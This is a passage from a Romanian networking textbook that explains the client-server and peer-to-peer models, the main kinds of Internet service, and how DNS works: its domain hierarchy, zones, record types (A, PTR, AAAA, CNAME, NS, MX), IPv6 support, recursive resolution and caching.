Modelul client-server se bazeaz pe un model al interaciunii umane cunoscut mai ales n comer: o entitate (serverul) ofer servicii n vreme ce mai multe entiti (clienii) solicit servicii. Exist, ns, cazuri n care interaciunea mediat tehnologic este simetric: partenerii n comunicaie ofer unul altuia servicii. Cel mai des ntlnit caz este transferul de fiiere: un partener (peer) solicit fiiere celuilalt, oferindu-i, n schimb, alte fiiere. Ambii parteneri pot avea, simultan sau alternativ, rol de client i de server. Acest stil de interaciune este sursa modelului (sau paradigmei) Peer-to-Peer. Modelul Peer-to-Peer este unul n care participanii la comunicare ofer i solicit servicii. Fiecare partener (peer) este egal n comunicaie cu cellalt. n general, n cadrul acestui model se formeaz reele Peer-to-Peer, n care fiecare partener din reea poate contacta pe toi ceilali parteneri. Exemple de protocoale i reele Peer-to-Peer sunt cele de transfer de fiiere: BitTorrent, DirectConnect, eDonkey, Kazaa. Reeaua Skype este o reea care folosete paradigma Peer-to-Peer, ncercnd, pe ct posibil, ca legtura de voce ntre doi parteneri s se realizeze direct ntre acetia, fr intermedierea unui server. Dei poate prea o alternativ la modelul client-server, modelul Peer-to-Peer, este, de fapt, un model client-server ascuns. Fiecare partener are, n cadrul implementrii, rol de server i client. La nivel de implementare acest lucru poate nsemna folosirea simultan a unui proces client i unui proces server de resurse comune (de exemplu, fiiere partajate), folosirea unui sistem cu mai multe fire de execuie sau folosirea de operaii asincrone pe sockei. Indiferent care este opiunea de implementare, att fluxurile programatice pentru client ct i cele pentru server se regsesc n implementarea partenerului, n forma prezentat la finele seciunii anterioare. n consecin, modelul client-server este modelul fundamental de implementare a serviciilor la nivelul Internet-ului, indiferent de forma acestora: servicii centralizate sau descentralizate/Peer-toPeer. Dezvoltarea unui nou serviciu este motivat de o anumit nevoie; din punct de vedere tehnic, formularea unei soluii nseamn dezvoltarea unui nou protocol de comunicare la nivel aplicaie i implementarea de clieni i servere care s l foloseasc.

S e r v i c i i d e r e e a | 295

9.2 Tipuri de servicii


Diversitatea solicitrilor i soluiilor imaginate de oameni creeaz o diversitate corespunztoare a serviciilor n Internet. Putem clasifica serviciile dup tipul de probleme pe care acestea le rezolv, sau conform cu specificul protocolului folosit pentru comunicare. Probabil cea mai comun form de clasificare este cea care ine cont de nevoia rezolvat. n acest sens putem considera: servicii de transfer de fiiere: un fiier este transmis n reea de la un nod la altul; exemple: FTP, HTTP; servicii de conexiune la distan (remote connection): sunt utile pentru accesarea unui dispozitiv fr a necesita prezena fizic lng acesta; exemple: telnet, rsh, SSH, VNC, RDP; servicii de comunicare: faciliteaz comunicarea ntre persoane care se pot afla pe continente diferite; exemple: pot electronic (SMTP, POP3, IMAP), instant messanging (XMPP, IRC); servicii de nume: mapeaz un nume/denumire uor de reinut pe o alt valoare, de obicei numeric; exemple: DNS, NIS, JNI, DHCP; servicii de acces la resurse: poate fi vorba de accesarea unei baze de date sau a unui echipament sau a unei resurse; exemple: servicii de printing (CUPS, IPP), LDAP, SNMP; servicii de informare: ofer informaii utile clientului; exemple: NTP. Aceste clase de servicii nu sunt exhaustive, iar clasificarea de mai sus este lax. De exemplu, se poate considera c i SSH poate fi folosit pentru transferul de fiiere, folosind scp. Sau c HTTP poate fi folosit pentru accesarea unor informaii, cnd URL-ul su nu conduce la accesarea unui fiier. n orice caz, e de avut n vedere c serviciile sunt diverse i c rolul acestora ine de natura problemelor ntlnite n experiena uman1. innd cont de modul de interconectare, putem considera serviciile ca fiind: centralizate: un server central rspunde cererilor clienilor; descentralizate: nu exist un singur server, iar clienii pot fi la rndul lor servere. Ambele folosesc modelul client server, depinznd de numrul i repartizarea serverelor. n cazul descentralizat, putem vorbi despre sisteme cluster, sisteme cloud sau sisteme Peer-to-Peer cu serviciile i protocoalele aferente. Din punctul de vedere al implementrii, putem considera dou criterii de clasificare: protocolul de nivel transport folosit i formatul mesajelor de protocol de nivel aplicaie. Protocolul de nivel transport folosit de un spectru larg de servicii este TCP. Facilitile oferite de acesta, precum prezena unei conexiuni, transmiterea sigur i controlul fluxului, l fac protocolul preferat pentru majoritatea protocoalelor de nivel aplicaie cunoscute (HTTP, FTP, SSH, SMTP etc.). Protocolul UDP, un protocol simplu i fr facilitti precum transmiterea sigur, este folosit, n general, de protocoale de nivel aplicaie simple sau pentru care pierderea unor pachete nu este critic. Astfel de protocoale sunt DNS, SNMP, RTP. Formatul mesajelor de protocol de nivel aplicaie mparte protocoalele (i, implicit, serviciile) n protocoale text i protocoale binare. Protocoalele text sunt acelea n care mesajele sunt trimise n format text, direct inteligibil pentru oameni (human-readable); folosirea unui sniffer de reea2 permite vizualizarea coninutului mesajului. Protocoalele binare codific mesajele transmise n format binar (machine-readable), care nu poate fi direct neles de om. Folosirea unui format sau altul nu ine de raiuni de securitate3, ci, mai degrab, de raiuni de implementare. Un protocol care se dorete simplu i eficient, precum DNS, va mpacheta mesajele n format binar. Protocolul SSH transmite informaii criptate, motiv pentru care acestea sunt tot timpul
1 2

O list exhaustiv cu serviciile din Internet este disponibil n fiierul /etc/services wireshark sau tcpdump 3 Cu un sniffer l poi captura i decodifica.

296 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e binare. Protocolul LDAP transmite informaiile n mod binar din raiuni de eficien a mpachetrii acestora. De partea cealalt, protocoale precum HTTP sau SMTP, orientate n primul rnd pe funcionalitate i abia apoi pe eficien, sunt protocoale cu mesaje text. Numrul mare de servicii n Internet, ca i protocoalele folosite, face improbabil folosirea tuturor de ctre o singur persoan, cu att mai puin nelegerea acestora. Exist, ns, un set de servicii i protocoale care, n zilele noastre, sunt folosite, direct sau indirect, de majoritatea utilizatorilor de Internet: serviciul DNS, serviciul web, serviciul de e-mail. Acestea vor fi prezentate n seciunile urmtoare.

9.3 Serviciul DNS


La nceputul Internetului, numrul de staii existente era suficient de mic nct acestea s poat fi reinute sub forma unei liste. Pentru a realiza o asociere ntre un nume i adresa staiei se folosea un fiier dedicat4 n care fiecare utilizator completa intrri; fiecare intrare reprezenta o asociere/mapare ntre un nume i o adres. Ct timp numrul de staii a fost mic, actualizarea i folosirea fiierului a fost fezabil. n momentul apariiei adresrii IP i Internetului, odat cu creterea numrului de staii, gestiunea acestui fiier a devenit mult prea dificil. Era nevoie de un serviciu de mapare ntre nume i adrese IP care s rspund rapid interogrilor clienilor. Numrul tot mai mare de staii i de interogri au devenit tot mai dificil de gestionat; prin urmare, folosirea unui mod centralizat de stocare a maprilor nu mai reprezenta o soluie. Rspunsul consta n folosirea unui sistem descentralizat. n acelai timp, dinamica Internetului i nevoia de actualizare a intrrilor din diverse regiuni nsemna c nici gestiunea nu putea fi realizat centralizat. Era nevoie de un serviciu descentralizat cu gestiune descentralizat. Acest serviciu este DNS. DNS (Domain Name System) este un serviciu de Internet responsabil cu asocierea ntre nume uor de reinut (precum insecure.org sau cs.curs.pub.ro) cu adrese IP care nu sunt uor de reinut. Pentru a accesa o staie, un utilizator va putea folosi doar numele; serviciul DNS este consultat pe ascuns fa de utilizator, pentru a obine adresa IP aferent. Serviciul DNS este standardizat ntr-un numr impresionant de documente RFC i este folosit de toate celelate servicii de reea. n momentul n care un utilizator folosete serviciul web, va folosi un URL care conine numele unui server. Pentru conectare, acel nume este translatat n adres IP prin interogarea serviciului DNS. Trimiterea unui e-mail ctre o adres de e-mail presupune o interogare DNS de aflare a serviciului de mail al domeniului. Fiind un serviciu de baz, cunoaterea funcionrii sale i a componentelor specifice este util pentru nelegerea funcionrii Internetului, pentru depanarea problemelor de reea i pentru gestiunea eficien a reelei.

9.3.1 Ierarhia de domenii n DNS


n general, descentralizarea este strns legat de existena unei ierarhii. De exemplu, ntr-o companie, managerul de top deleg reponsabiliti managerilor de departament. Fiecare departament are un rol iar managerul de departament este responsabil pe acesta. n cadrul unui departament exist echipe de lucru. De obicei, un team leader sau lead developer este responsabilizat cu gestiunea echipei i a proiectelor la care lucreaz aceasta. Toate echipele fac parte din acelai departament i ndeplinesc rolul departamentului, dar realizeaz activiti diferite, cu responsabilitate delegat team leader-ului. innd cont de nevoia de descentralizare menionat anterior, serviciul DNS i constituie funcionarea pe existena unei ierarhii. Este vorba de o ierarhie de domenii. Exist un domeniu rdcin, care dispune de domenii de nivel inferior, referite ca subdomenii. Fiecare dintre aceste subdomenii are, la rndul su, alte subdomenii, i aa mai departe.
4

/etc/hosts

S e r v i c i i d e r e e a | 297 Un domeniu DNS reprezint un spaiu de nume. n cadrul domeniului se pot gsi mai multe nume, iar un set de servere responsabile vor translata acele nume n adresele corespunztoare. Un subdomeniu DNS este, la rndul su, un nume pentru care s-a realizat o delegare ctre un alt server. Este ns, i un spaiu de nume, incluznd numele de care acesta este responsabil. De exemplu: pub.ro este un domeniu, adic un spaiu de nume; www.pub.ro, mail.pub.ro sunt intrri n domeniul pub.ro; n domeniul pub.ro este un server responsabil (ns.pub.ro, de asemenea o intrare) care poate translata adresele www.pub.ro i mail.pub.ro n adrese IP. cs.pub.ro este un subdomeniu pentru pub.ro. Poate fi considerat un nume, la fel ca www.pub.ro sau mail.pub.ro; rolul su de domeniu este dat de faptul c este un spaiu de nume cu intrri precum wiki.cs.pub.ro sau mail.cs.pub.ro sau elf.cs.pub.ro. La fel ca n cazul www.pub.ro, un server dedicat (ns.cs.pub.ro) poate translata adresele din spaiul de nume n adrese IP. n concluzie, un domeniu: a) este un nume: un ir care identific numele domeniului; b) este un spaiu de nume: conine subnume de care este responsabil; c) este gestionat de unul sau mai multe servere responsabile; acestea traduc numele din spaiul de nume n adrese IP; d) poate conine subdomenii ctre care deleg responsabilitatea maprii de nume la adrese IP. Dup cum s-a precizat mai sus, domeniile DNS sunt aezate ierarhic, avnd n vrf domeniul rdcin, aa cum este descris n Figura 9-2. .

.com

.ro

.pub

.google

ns.cs.pub.ro ns

.cs

.curs

.elf cs.pub.ro ZONE

.mail

9-2 Ierarhia de domenii Domeniul rdcin n DNS este . (punct). Caracteristicile domeniului rdcin, aezate peste cele patru elemente de mai sus sunt: a) numele su este . (punct, dot); b) este un spaiu de nume care conine subnume precum org, com, info, ro; c) este gestionat de mai multe servere referite prin a.root-servers.net, ..., l.rootservers.net
$ host . name . name . name [...] -t ns . server l.root-servers.net. server d.root-servers.net. server b.root-servers.net.

d) toate subnumele sale sunt subdomenii, i pentru fiecare dintre ele deleag responsabilitatea.

298 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Domeniile org, com, info, ro sunt subdomenii pentru domeniul rdcin. Numele lor complet este org., com., info., ro. n DNS, numele subdomeniilor sunt trecute la stnga domeniului, separate prin punct. Similar domeniul pub este subdomeniu pentru ro., numele su complet fiind pub.ro. n folosirea obinuit, punctul aferent domeniului rdcin poate fi omis, astfel c, ntr-un browser, URL-urile http://cs.curs.pub.ro sau http://cs.curs.pub.ro. sunt echivalente. La fel ca pentru domeniul rdcin, caracteristicile domeniului ro., aezate peste cele patru elemente de mai sus sunt: numele su este ro.; este un spaiu de nume care conine subnume precum pub.ro., google.ro.; este gestionat de mai multe servere de nume (primary.rotld.ro., secondary.rotld.ro.); subnumele sale pot fi nume de subdomenii, precum pub.ro., lug.ro. Serverele responsabile cu intrrile unui domeniu sunt servere de nume. Un server de nume este responsabil (se mai zice autoritar) pe un domeniu, gestioneaz intrrile din acel domeniu i rspunde interogrilor pentru intrri din acel domeniu. Adugarea, tergerea sau modificarea de intrri din domeniu pot fi realizate doar prin intermediul serverului (serverelor) de nume; similar, un client va interoga serverul de nume pentru a afla adresa IP a unui nume din cadrul domeniului.

Nume de domenii i nume de staii


Un domeniu are asociat un nume, de exemplu cs.pub.ro. Dar acelai nume de domeniu poate fi i nume de staie. Spre exemplu, numelui cs.pub.ro i este asociat adresa IP 141.85.227.111. n general, un nume poate reprezenta fie un nume de domeniu, fie un nume de staie, fie amndou. Un nume este un nume de domeniu n momentul n care exist un server de nume responsabil pe acel domeniu. De exemplu, ro. este nume de domeniu pentru c exist servere de nume aferente acestuia (primary.rotld.ro, secondary.rotld.ro). Pe de cealalt parte, un nume este un nume de staie n momentul n care exist o intrare n care acel nume este mapat cu o adres IP. De exemplu, elf.cs.pub.ro are mapat adresa 141.85.227.116. Un caz dual, reprezentnd att un nume de domeniu ct i un nume de staie, este cs.pub.ro. Acesta este att nume de domeniu, pentru c exist un server de nume responsabil (ns.cs.pub.ro), ct i nume de staie, pentru c i este asociat adresa 141.85.227.111. De reinut este faptul c un nume este nume de domeniu sau de staie sau amndou la un moment dat. Printr-un procedeu de delegare, un nume de staie poate deveni i nume de domeniu. La fel prin, ataarea unei adrese IP unui nume de domeniu, aceasta poate deveni i nume de staie. Diferenierea ntre nume de domeniu sau de staie se face, de cele mai multe ori, innd seama de context.

Domenii i zone
Pentru a oferi informaii despre numele din spaiul su de nume, fie c sunt nume de staii sau nume de subdomenii, un domeniu necesit unul sau mai multe servere de nume. Serverele de nume gestioneaz intrrile domeniului i pot rspunde la cereri din partea clienilor. Spunem c un astfel server de nume este autoritar (responsabil) pe un domeniu. Autoritatea unui server de nume se rsfrnge asupra domeniului i eventual asupra subdomeniilor acestuia. Dac dorete, un server de nume poate delega autoritatea (responsabilitatea) pentru un subdomeniu unui alt server de nume. Acel nou server de nume devine autoritar pentru subdomeniu. Ariile de autoritate ale serverelor de nume poart numele de zone, sau zone de autoritate. O zon DNS cuprinde totalitatea domeniilor, subdomeniilor i intrrilor din acestea de care este responsabil un server de nume. Dac un server de nume deleg autoritatea pe un subdomeniu, atunci se creeaz o nou zon. De acea nou zon este responsabil noul server de nume. Presupunem domeniul start.info este gestionat de serverul de nume ns.start.info. Acest server de nume gestioneaz domeniul, intrrile din acesta (www.start.info, mail.start.info) dar i

S e r v i c i i d e r e e a | 299 subdomeniul comp.start.info. Intrrile din subdomeniul comp.start.info (db.comp.start.info i users.comp.start.info) sunt gestionate tot de ns.start.info. Pe de alt parte, subdomeniul sales.start.info este delegat unui server de nume nou (ns.sales.start.info). Acest nou server de nume este responsabil pe subdomeniu i pe intrrile din cadrul acestuia (store.sales.start.info i accounts.sales.start.info). n situaia descris mai sus, exist dou zone. O zon, cuprinznd domeniul start.info i subdomeniul comp.start.info, este gestionat de serverul de nume ns.start.info. Cealalt zon, cuprinznd subdomeniul sales.start.info, este gestionat de serverul de nume ns.sales.start.info. n cadrul configurrilor serverelor de nume se folosete, n general, terminologia de zone. Un server este responsabil pe o zon i, n acest fel, pe domeniul i, eventual, subdomeniile ce formeaz acea zon. De notat este faptul c relaia de asociere dintre zone i servere de nume nu este de unu la unu, ci este de mai multe la mai multe. Astfel, de o zon pot fi responsabile mai multe servere5; toate serverele responsabile/autoritare vor gestiona sincronizat acea zon6. n acelai timp, un server de nume poate fi responsabil de mai multe zone. Spre exemplu, furnizorii de servicii DNS ofer solicitanilor de nume posibilitatea de folosire a serverelor de nume proprii. Serverele de nume ale furnizorilor de servicii DNS vor gestiona, aadar, zona aferent domeniului solicitantului. Noiunile de domeniu, subdomeniu i zone sunt strns legate de proiectarea descentralizat a serviciului DNS. n cadrul DNS se creeaz o ierarhie de domenii i subdomenii, iar intrrile aferente sunt coagulate n zone care intr n gestiunea a cel puin unui server de nume. Serverele de nume se numesc autoritare pe acele zone i pot rspunde interogrilor clienilor7.

9.3.2 nregistrri DNS


Serviciul DNS are ca rol principal translatarea numelor n adrese IP, deoarece este mult mai uor pentru o persoan s rein nume dect adrese IP. n momentul n care este folosit un nume, serviciul DNS este interogat pentru a furniza adresa IP aferent numelui i pentru a permite, astfel, conectarea la dispozitivul de reea identificat prin adresa IP. Pentru aceasta, serviciul reine asocieri/mapri ntre nume i adrese IP. Este similar tabelei ARP din cadrul unui sistem de operare care reine asocieri ntre adrese IP i adrese MAC. Aceste mapri sunt gestionate, n cadrul fiecrei zone de DNS, de serverul de nume (sau serverele de nume) responsabil de acea zon. Un client va trimite o cerere DNS de translatare a unui nume, iar serverul de nume i va rspunde, dup consultarea listei de intrri, cu adresa IP aferent. Intrrile gestionate de un server de nume poart numele de nregistrri DNS (DNS records) sau nregistrri de resurse (resource records). Pentru fiecare zon, serverul de nume aferent gestioneaz o baz de date de nregistrri. Aceast baz de date este actualizat atunci cnd se adaug, se terg sau se modific intrri, sau cnd este interogat n momentul primirii unei solicitri de la un client DNS. Procesul de servire a unei cereri din partea clientului se cheam rezolvare DNS (DNS resolution). Rezolvarea DNS presupune interogarea serviciului DNS i, n consecin, a bazei de date cu nregistrri, i furnizarea rspunsului la solicitarea clientului. Solocitarea clientului poart numele de interogare DNS (DNS query). La nivel schematic, o baz de date de nregistrri este compus din intrri cu dou elemente: nume i adrese IP, la fel ca mai jos:
www.start.info. 141.85.227.9 mail.start.info. 141.85.227.10 db.comp.start.info. 141.85.227.11 users.comp.start.info. 141.85.227.12

De obicei ntr-o formul master slave. Sincronizat nseamn c i vor comunica actualizrile pentru a menine informaiile consecvente. 7 Adic traduc nume n adrese IP.
6

300 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n momentul n care un client trimite o interogare pentru numele db.comp.start.info., baza de date este consultat, se parcurge lista de nume i, n momentul unei potriviri, se extrage adresa IP corespunztoare (n cazul de fa 141.85.227.11).

Tipuri de nregistrri
Interogrile astfel trimise de client poart numele de cereri de rezolvare direct (forward DNS resolution). Clientul deine numele i dorete s afle adresa IP. Exist ns situaii n care se dorete interogarea DNS pentru a afla numele corespunztor unei adrese IP. Aceasta poart numele de rezolvare invers (reverse DNS resolution). Un caz de folosire a rezolvrii inverse apare n tehnicile antispam pentru serviciul de e-mail: n momentul primirii unui mesaj de la o adres IP, se realizeaz o cerere de rezolvare invers pentru a verifica dac numele aferent acelei adrese IP este compatibil cu adresa de e-mail a expeditorului. Nevoia de translatare a adreselor IP n nume este una dintre cauzele pentru care, n DNS, exist tipuri de intrri (DNS record types). Astfel, intrrile pentru rezolvare direct sunt intrri de tipul A (address record), iar intrrile de rezolvare invers sunt intrri de tipul PTR (pointer record). Cu aceste adugiri, intrrile din baza de date DNS, precizat mai sus devin:
www.start.info. mail.start.info. db.comp.start.info. users.comp.start.info. 141.85.227.9 141.85.227.10 141.85.227.11 141.85.227.12 A A A A PTR PTR PTR PTR 141.85.227.9 141.85.227.10 141.85.227.11 141.85.227.12 www.start.info. mail.start.info. db.comp.start.info. users.comp.start.info.

Un alt tip de intrare DNS este cea specific adreselor IPv6. n cadrul unei zone, se pot realiza asocieri ntre nume i adrese IPv6; mai mult, un nume poate avea asociat att adrese IPv4 ct i adrese IPv6. Intrrile IPv6 se gsesc n nregistrri de tipul AAAA, ca mai jos:
www.start.info. mail.start.info. AAAA AAAA 2a00:1450:400d:7f5::e292 2a00:1450:400d:7f5::e293

Dac, pentru echilibrarea ncrcrii (load balancing), se doresc mai multe staii aferente unui nume, se pot folosi mai multe intrri de tipul A sau AAAA. Astfel, unui nume i corespund mai multe adrese IP; unui client i este ntoars o singur adres IP, n cazul unei interogri, n general dup o parcurgere round robin8. n mod similar apare situaia n care mai multe nume s refere aceeai adres IP. Un caz de folosire este pentru virtual hosting n lumea serverelor web sau a serverelor de e-mail. Pentru aceasta se folosesc alias-uri DNS, n care un nume refer un alt nume, similar link-urilor din sistemul de fiiere. Un alias este o nregistrare care mapeaz un nume la alt nume. n cazul unei interogri, se parcurg alias-urile din baza de date pn la extragerea adresei IP corespunztoare. nregistrrile DNS de tip alias sunt cunoscute ca tip CNAME (Canonical NAME for an alias). Intrrile au o form precum cea de mai jos:
ftp.start.info. CNAME www.start.info.

n cazul intrrii de mai sus, ftp.start.info. este alias pentru www.start.info., care are adresa IP 141.85.227.9. n acest caz, o interogare pentru numele ftp.start.info. va ntoarce adresa 141.85.227.9. nregistrrile din baza de date a unei zone nu se refer doar la nume de staii ci i la nume de domenii. Astfel, n cadrul unei zone, pentru un domeniu sau subdomeniu trebuie precizat care este serverul de nume aferent acelui domeniu, adic ce server de nume este autoritar i trebuie interogat pentru intrri din acel domeniu. Aceste intrri sunt de tipul NS i au formatul urmtor:

Round robin este un algoritm de alegere secvenial a elementelor dintr-o mulime cu revenire la primul element dup epuizarea elementelor.

S e r v i c i i d e r e e a | 301
start.info. ns.start.info. sales.start.info. ns.sales.start.info. NS A NS A ns.start.info. 141.85.227.225 ns.sales.start.info. 141.85.37.92

n listarea de mai sus, domeniul start.info. are ca server de nume ns.start.info. La fel, subdomeniul sales.start.info. are ca server nume ns.sales.start.info. Intrrile de tipul NS fac asocierea ntre dou nume: un nume de domeniu (domeniul) i un nume de staie (serverul de nume autoritar pe domeniu). Pentru ca un server de nume s poat fi contactat, este nevoie de adresa lui IP. De aceea intrrile de tipul NS sunt mperecheate cu intrri de tipul A n care se precizeaz adresa IP a serverului. Aceste intrri poart numele de glue records9 i sunt necesare pentru funcionarea serviciului de nume. Serviciul DNS este folosit de serviciul de e-mail. n cadrul acestuia, trebuie identificat serverul de e-mail responsabil pentru o adres de e-mail. Astfel trimiterea unui mesaj ctre contact@start.info nseamn contactarea serverului de e-mail aferent domeniului start.info. Acest server de mail este identificat printr-o intrare de tipul MX (mail exchange) din baza de date a serverului, la fel ca mai jos:
start.info. mail.start.info. MX A mail.start.info. 141.85.227.10

n listarea de mai sus, domeniul start.info. are ca server de e-mail mail.start.info. La fel ca n cazul intrrilor NS, asocierea este realizat ntre un nume de domeniu (domeniul) i un nume de staie (server de e-mail). Pe lng intrrile de tipul A, PTR, AAAA, CNAME, NS, MX, exist mai multe intrri ntr-o baz de date a unei zone DNS. O list exhaustiv a acestora10 se gsesc n documentele RFC. RFC-ul 1035 cuprinde intrrile de baz; intrrile noi, precum cele legate de securitate, se gsesc n documente RFC mai recente. Este de ateptat ca noi RFC-uri s introduc alte tipuri de intrri conform nevoilor.

DNS i IPv6
n mod tradiional, DNS a fost responsabil cu translatarea numelor n adrese IPv4. Pe msura proliferrii adreselor IPv6, DNS va ncepe s fie folosit pentru translatarea numelor n adrese IPv6. O schimbare rapid de la adresare IPv4 la adresare IPv6 nu va avea loc, astfel c este de ateptat ca cele dou tipuri de intrri s coexiste. n acest sens, pentru un nume dat vor exista, n multe cazuri, o adres IPv4 i o adres IPv6. Favorizarea uneia dintre cele dou tipuri de adrese va ine de opiunea utilizatorului i de facilitilor oferite de implementarea clientului. Astfel, apelul gethostbyname permite preluarea tuturor adreselor aferente unui nume, n timp ce apelul gethostbyaddr permite selectarea interogrii doar dup adrese IPv4 (AF_INET4) sau doar dup adrese IPv6 (AF_INET6) sau ambele (AF_UNSPEC). innd cont de latena DNS, selectarea dup una dintre cele dou tipuri de adrese poate fi un factor de eficien. n general, datorit implementrilor cu probleme de IPv6 de pe diverse echipamente, furnizorii de servicii Internet, n special furnizorii de servicii web (precum Google, Facebook) evit furnizarea prioritar de adrese IPv6. Astfel c un client care folosete att IPv4 ct i IPv6, va primi, n cazul unei interogri DNS, adrese IPv4. n cazul primirii unei adrese IPv6 i a unei implementri nevalide pe sistemul propriu sau pe ruter, site-ul n cauz nu ar funciona, utilizatorul concluzionnd, n general, c este vina furnizorului serviciului. Pentru rezolvarea unor probleme precum cele de mai sus i pentru a facilita adoptarea IPv6, o serie de companii n domeniul tehnologiilor web (precum Google, Facebook, Yahoo!) particip la World IPv6 Day11. n aceast zi, nume precum www.google.com sau www.facebook.com sunt traduse la adrese IPv6 pentru acei clieni care sunt conectabili la norul IPv6.
9

http://faq.domainmonster.com/dns/glue_record/ http://en.wikipedia.org/wiki/List_of_DNS_record_types 11 http://www.worldipv6day.org/participants/


10

302 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e ntr-un alt efort de facilitare a adoptrii IPv6, Stuart Cheshire a propus apelul connectbyname. Acest apel este folosit pentru a permite conectarea unui client la un serviciu dat, fr a fi nevoie de aflarea, n prealabil a adresei IP a acestuia (printr-un apel de forma gethostbyname). Apelul connectbyname primete ca argument un nume n locul unei adrese IP, realizeaz n spate interogarea DNS corespunztoare, i, n cazul disponibilitii unei adrese IPv6, realizeaz conectarea la acea adres. Adoptarea IPv6 n Internet depinde de implementri funcionale pe un numr ct mai mare de echipamente. ntruct este improbabil o trecere brusc de la IPv4 la IPv6, este ateptat o migrare lent care nseamn coexistena celor dou protocoale. Serviciul DNS trebuie s asigure suportul pentru aceast coexisten cu meninerea unor nregistrri de tipul A i de tipul AAAA pentru numele din Internet. Clienii DNS, prin apelurile de bibliotec aferente, trebuie s ofere utilizatorului posibilitatea conectrii pe IPv4 i pe IPv6 cu recomandarea folosirii ct mai intense a IPv6.

9.3.3 Funcionarea serviciului DNS


La fel ca majoriatea serviciilor din Internet, serviciul DNS este un serviciu client server. Particularitatea sa st n faptul c este un serviciu distribuit, dar comun la nivelul ntregului Internet. Putem vorbi despre un singur serviciu DNS n Internet, implementat cu ajutorul mai multor servere DNS, denumite i servere de nume. n virtutea descentralizrii i ierarhiei domeniilor, fiecare server este responsabil pe anumite domenii. Un client va trebui s ajung la acel server pentru a obine informaii despre acel domeniu. Interogrile realizate de client ctre serverul DNS sunt interogri simple (de obicei, se solicit adresa IP corespunztoare unui nume). Din acest motiv, protocolul de comunicare DNS este un protocol cu format binar care ruleaz peste UDP. Serverele de nume ateapt interogri DNS pe portul 53. Clientul DNS este folosit, n mod transparent, n cazul majoritii celorlalte servicii. n momentul accesrii unui site web, se realizeaz n spate o cerere DNS pentru rezolvarea numelui. n cazul trimiterii unui e-mail se realizeaz o cerere DNS pentru determinarea serverului de mail aferent domeniului destinatarului, urmat de o cerere de rezolvare a numelui serverului de e-mail. Pentru aceasta, clientul (denumit i resolver) este implementat, la nivelul sistemului de operare, printr -un set de apeluri de bibliotec. Clienii web i alte procese de reea vor invoca apelurile de bibliotec dedicate pentru a afla adresa IP a partenerului de comunicaie. Serverele de nume gestioneaz intrrile din cadrul zonelor pe care sunt autoritare. Serverul de nume ns.start.info, autoritar pe domeniul start.info, va rspunde cererii de aflare a adresei IP pentru numele www.start.info. Pentru aceasta va consulta baza de date aferent zonei, va cuta numele www.start.info i va oferi ca rspuns adresa IP din cadrul nregistrrii.

Cereri recursive i nerecursive


Fiecare staie din Internet are configurate local unul sau mai multe servere de nume. Acestea sunt interogate de clientul local i se obin informaiile cerute. Pentru a menine clientul simplu, serverul de nume este obligat s rezolve cererilor clientului indiferent dac este sau nu responsabil/autoritar pe acestea. Folosindu-se de ierarhia serviciului DNS, acesta va realiza cereri ctre alte servere de nume i va obine informaia pe care o va trimite clientului. Se spune c, n situaia de mai sus, clientul trimite cereri recursive serverului configurat local. O cerere recursiv impune serverului rezolvarea acesteia chiar n absena datelor la nivel local. ntruct cererile recursive necesit procesare suplimentar, serverele de nume sunt configurate s rspund la cereri doar din partea unui subset de clieni, de obicei clienii dintr-o reea local. n cazul unei cereri recursive, dac serverul de nume nu deine informaia solicitat, va interoga alte servere de nume din Internet; n aceast situaie serverul de nume local va avea rolul de client. Cererile pe care le va emite ctre acestea vor fi cereri nerecursive, pentru a nu ncrca serverele. Pentru o cerere nerecursiv fie primete un rspuns pozitiv, cu informaia solicitat (pe care o va

S e r v i c i i d e r e e a | 303 transmite ulterior clientului), fie un rspuns negativ cu un indiciu (hint) legat de alt server de nume pe care s-l contacteze. n general, cererile recursive vor fi emise de staiile dintr-o reea local ctre serverul de nume configurat local, iar cererile nerecursive vor fi emise de serverele de nume care interogheaz alte servere de nume.

Caching
Dat fiind latena procesului de interogare, n special datorat interogrilor nerecursive dintre servere, serverele DNS pot folosi mecanisme de caching. Astfel, pentru o perioad de timp rezolvrile cererilor clienilor sunt meninute n cache-ul serverului pentru interogri ulterioare. Pe lng reducerea latenei de interogare, un beneficiu al cache-ului este acela c menine informaii pentru care serverul autoritar este picat sau neresponsiv, ca form de toleran la defecte. Cache-ul poate avea i un efect negativ, acela al transmiterii unei informaii neactualizate. Pentru aceasta, intrrile n cache au un timp de via dup care sunt invalidate. Timpul de via este, n general, de ordinul orelor; astfel, n cazul actualizrii unei nregistrri, poate dura mai multe ore pn cnd schimbarea este vizibil la nivelul Internetului.

Scenarii de interogare DNS


n continuare sunt prezentate o serie de scenarii de utilizare a serviciului DNS, innd cont de diverse configurri i informaii prezente pe server. Se presupune c un client DNS dorete s obin adresa IP pentru numele www.start.info i are configurat un server local pe care l interogheaz. Scenariul cel mai simplu este acela n care serverul de nume configurat local pe client este autoritar pe domeniul start.info; fie ns.start.info acest server. n aceast situaie, serverul ns.start.info deine n baza de date nregistrarea aferent intrrii www.start.info i i-o furnizeaz clientului. Operaia se ncheie aici. Scenariile din continuare vor presupune c serverul de nume configurat local pe client nu este autoritar pe domeniul start.info. Un scenariu simplu este acela n care serverul de nume deine nregistrarea aferent intrrii www.start.info. n acest caz, la primirea cererii din partea clientului, serverul verific nti dac este autoritar pe domeniu. ntruct nu este, serverul consult cache-ul. Intrarea este prezent n cache astfel c este returnat clientului. Dac intrarea nu este ns prezent n cache, scenariul se complic. n momentul n care serverul primete cererea (recursiv) i realizeaz c intrarea nu se gsete n cache, trebuie s consulte alte servere pentru determinarea informaiei. Pentru aceasta, caut n cache dac are o nregistrare de tipul NS pentru domeniul start.info. Dac aceast intrare exist, nseamn c poate determina serverul de nume pentru domeniul start.info (adic ns.start.info). n mod obinuit va gsi n cache i o nregistrare de tipul A pentru ns.start.info, astfel c se va putea conecta la adresa IP a ns.start.info. Va trimite o cerere nerecursiv ctre ns.start.info, n care va solicita adresa IP a numelui www.start.info; ns.start.info este autoritar pe domeniul start.info i deine nregistrarea cerut, pe care i-o ntoarce serverului. Serverul i actualizeaz cache-ul cu nregistrarea obinut i i-o transmite clientului. Viitoare interogri pentru www.start.info vor fi servite din cache. Dac, n scenariul de mai sus, serverul de nume local nu deine n cache nregistrarea de tipul NS pentru start.info, atunci trebuie s interogheze un alt server de nume care o deine. Pentru aceasta, se uit n cache dup intrarea NS aferent domeniului info. Dac deine aceast intrare 